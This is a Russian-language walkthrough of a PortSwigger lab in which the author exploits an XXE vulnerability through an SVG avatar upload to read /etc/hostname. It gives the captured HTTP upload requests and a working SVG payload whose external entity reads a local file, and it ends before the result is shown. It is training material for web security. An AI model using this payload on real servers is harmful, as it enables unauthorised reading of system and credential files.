Для прохождения лабы нужно получить доступ к файлу /etc/hostname, эксплуатируя уязвимость XXE через загрузку картинки.

https://0a130026032a208181047fea003b00e1.web-security-academy.net/

Solution

Нужно изучить страницу товара. А вот и кнопка загрузки картинки.

По ощущением все сведется к попытке загрузить XML-файл вместо картинки. Т.е. к поиску ошибки при загрузке файлов. Погнали:

POST /post/comment HTTP/2
Host: 0a130026032a208181047fea003b00e1.web-security-academy.net
Cookie: session=MQbatR3jeDjIY0KGE8K1yvoKKqwupVQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a130026032a208181047fea003b00e1.web-security-academy.net/post?postId=4
Content-Type: multipart/form-data; boundary=----geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Length: 1033
Origin: https://0a130026032a208181047fea003b00e1.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="csrf"

UDE3psqkh5XQoEdSc4Vf8xXsgNSKbpAG
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="postId"

4
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="comment"

nice comment
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="name"

nice_name
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="avatar"; filename="jpeg.jpg"
Content-Type: image/jpeg

ÿØÿÛC	

			

		


ÿÉÿÌÿÚ?ÒÏ ÿÙ
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="email"

nice@mail.com
------geckoformboundary739d28ece5d668a7b5007c7e03b6874e
Content-Disposition: form-data; name="website"


------geckoformboundary739d28ece5d668a7b5007c7e03b6874e--

А вот и мой коммент:

Попробую загрузить не jpeg, а xml файл:

Упс. Я знаю, что SVG формат внутри использует синтаксис XML. Поробую загрузить такой файл:

POST /post/comment HTTP/2
Host: 0a130026032a208181047fea003b00e1.web-security-academy.net
Cookie: session=MQbatR3jeDjIY0KGE8K1yvoKKqwupVQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a130026032a208181047fea003b00e1.web-security-academy.net/post?postId=4
Content-Type: multipart/form-data; boundary=----geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Length: 980
Origin: https://0a130026032a208181047fea003b00e1.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="csrf"

UDE3psqkh5XQoEdSc4Vf8xXsgNSKbpAG
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="postId"

4
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="comment"

not nice commen
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="name"

not_nice_name
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="avatar"; filename="svg.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg"/>
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="email"

not_nice@mail.com
------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec
Content-Disposition: form-data; name="website"


------geckoformboundary1fc97a8b6be3f300bf9f23820a6cc6ec--

Успех:

Если что, разные валидныe файлы для тестов удобно дергать по ссылке. Само содержимое файла у меня следующее:

<svg xmlns="http://www.w3.org/2000/svg"/>

Вылитый XML) Добавлю в него внешнюю сущность:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>`
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
    xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAEz0lEQVR4nAHEBDv7AAxxUTd8YtLTcEaHx40ZIJK60obC5Ou1cLF+TS4/XVlRSmvVi/w8Ca2/8IQgN1t1Vnz2z4Qbhi41a9vUGAAdrSE1KG1/JVhVWHa4MMlbjStnEqyHAJ955H/P5KELCfoLxZfvMBXHOrF5zXHK2FQDizWDvG8AL/aju1MAPftmRhxjuzxxxxwr6/sTuNGCrXbDgrp8f8pF4XXBCEmwevYo0UZcWY8m8y7drro6Fyfn/IZhDuf1Sra3ABF+HBy+0XxXRZPGpTTfOjn2WtbN6h3k3ZDaqjVIrcc2nzDsXX50RAmZWqJP/udjDRsBKoHV1tiUzBeO+AAPUxxJoPg1+LVX0ZGGuREcxlbsasPf3V88wgpJOvEe7/QM9Hygg1HYJEIi0/ELhzseWQyUEVX/5KFxcAYAGGSIkEfp0R2p8/iekqmiWWqmx4UJkbv79HhBPEmjcWrMq6OnnQlOlqlw45AKt7FYqns9bm2RKcaIXJKsAJfNE+IyVXL8eq752OYiBqePXfd5N/yVih9sbDBKGczO78uVB1hJPCV+YBWtBNpQ6vZHOyB5m9oZXr8+sACMrWSnXLEdiLu3S20yGUdFLJU1auqh7OUvMdi6FmGLjkMIz+qDNfLibseIgyNhHJjE5CLZpJ8fmQ/cRd8A7cTTpcVgtzIbWOcASAT8WePb1RfDQtTm7zJrFqLslkdMnDHBHv1w43qYv0EXDx/UTRRav8hpToTpGztfADmSJNLe+I/qQgntVRu+8YHIot93eGUgAAIPBUr/ALoq0TghgQKgT4tVSjOSRqV4Od243GfoLQ4uY+0t1QB5ktSY7avPeAitGgVwZ2YdbC8qijR5JZx6QuVAr87H03yNKyeLR7UMae5XGPLKnjee0NvDCCOQxQcPUMsAZl11CIYce3xIb/xyhTT6wV6H0XOF8My6bnS+WaEVFStSW0zoTRT2eFHMXq45KCN3aOA19/BVG0i9/DPuAP4Z833YYQN+QzXZYagmlb9vBHXZ0MJCBIfvs43jV1l1AXubIPVot5j9K5zkmu9IvFWES9C614mfBoN4dwASTMvwX+y63gzmNUzx1IIzdXJnlTxqJgWAEz8KyKSyOTXY8s5mC0f1H/zDXOIzE5iyGG1RODjQCJFLLOwA6+J5ZIlRkIXofOGOoHfNWGHZ2kH1c2ueLcw1T57fSw5D1/9n05ZeUUWpKLEYwCws8jAZm2/01M9bxbX5AGgdzTS6EW7F2YduQvY4YmfEYJ2XznsR3mU9L4ecSPLKCzuIAqkL9hN8eYlQwKAhhTFHqM15tRk6m6iR0wD2wNoLzCWjhF2SE67i0iEH/WGUt7KhRDiDslK6+KtX+tAVfSUi+NGE8JHUYjjotuk9eGKf+y0AvQcCJn0AtyEQZ5F//iLAZ1YdBSZ2K6+UXohWsjyz/5eVXJs45k3l85Lwxi/9rStDJCrpJ1Qul5wvG/juezX0KX23ADCzfLib3CQrgKhayon7oOZULnNkgKgkbIqgvqpzPVCRbTCgOi5lO6e/iSSFL3tlJYNrP1q4HBrF7MAEeQAUThoWm+8dYpYVW6ZKsNj8De13cqJXziBtn3iNoc60ZkmD3x0IcwQG+tKp/a3eGmz6dWpiv/Mm0G5hl0xSGlKET0w0lQAAAABJRU5ErkJggg=="/>
    <text>
    &xxe;
    </text>
</svg>

Результат я получил: